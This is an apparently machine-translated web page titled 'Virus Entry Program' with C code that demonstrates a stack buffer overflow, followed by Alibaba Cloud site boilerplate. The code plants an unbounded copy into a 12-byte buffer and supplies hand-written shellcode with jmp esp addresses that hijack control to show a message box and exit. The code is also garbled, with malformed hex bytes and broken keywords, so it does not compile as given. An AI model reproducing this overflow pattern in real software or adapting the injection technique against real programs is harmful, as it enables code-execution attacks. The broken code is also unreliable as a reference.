Virus Entry Program

Source: Internet
Author: User
# Include "windows. H"
# Define uint8 unsigned char


/* This function constructs a simple overflow function */
Void getname (uint8 * pucsrcname, uint8 * pucdstname)
{
While (* pucsrcname )! = 0xfe)
{
* Pucdstname ++ = * pucsrcname ++;
}
* Pucdstname = 0;
}


/* In this function, when the getname pop-up is called, the injection program takes over */
Void showcomputername (uint8 * pucname)
{
Uint8 puccomputername [12];
Getname (pucname, puccomputername );
}


/* Only provide the MessageBox and exitprocess addresses and jmp esp commands */
Void showmessagebox (void)
{
MessageBox (0, "OK", "OK", 0 );
Exitprocess (0 );
_ Asm jmp esp;
}


/* Simulated exception string injection Code */
Uint8 aucname [1024] =
{
# Ifdef _ debug
'D', 'B', 'G ','',
'H', 'E', 'l', 'l ',
'O', 'w', 'O', 'R ',
'L', 'D ','! ', 0x00,
/* Debug jmp esp address */
0x36, 0x11, 0x40, 0x00,
/*
Push 0
Start address of the push 421a30h debug version array aucname
Start address of the push 421a30h debug version array aucname
Push 0
Call MessageBox
*/
0x6a, 0x00,
0 x, 0x30, 0x1a, 0x00,
0 x, 0x30, 0x1a, 0x00,
0x6a, 0x00,
0xff, 0x15, 0x8c, 0x52,0x42,0x00,
/*
Push 0
Call exitprocess
*/
0x6a, 0x00,
0xff, 0x15, 0x7c, 0x51,0x42,0x00,
/* End symbol */
0xfe
# Else
'H', 'E', 'l', 'l ',
'O', 'w', 'O', 'R ',
'L', 'D ','! ', 0x00,
/* Release version jmp esp address */
0x10, 0x40, 0x00,
/*
Push 0
Start address of the array aucname of push 405030 H release version
Start address of the array aucname of push 405030 H release version
Push 0
Call MessageBox
*/
0x6a, 0x00,
0x68, 0x30, 0x50, 0x40, 0x00,
0x68, 0x30, 0x50, 0x40, 0x00,
0x6a, 0x00,
0xff, 0x15, 0x90, 0x40, 0x40, 0x00,
/*
Push 0
Call exitprocess
*/
0x6a, 0x00,
0xff, 0x15, 0x48, 0x40, 0x40, 0x00,
/* End symbol */
0xfe
# Endif
};


Int main (INT argc, uint8 * argv [])
{
Showcomputername (aucname );
Showmessagebox ();
Return 0;
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.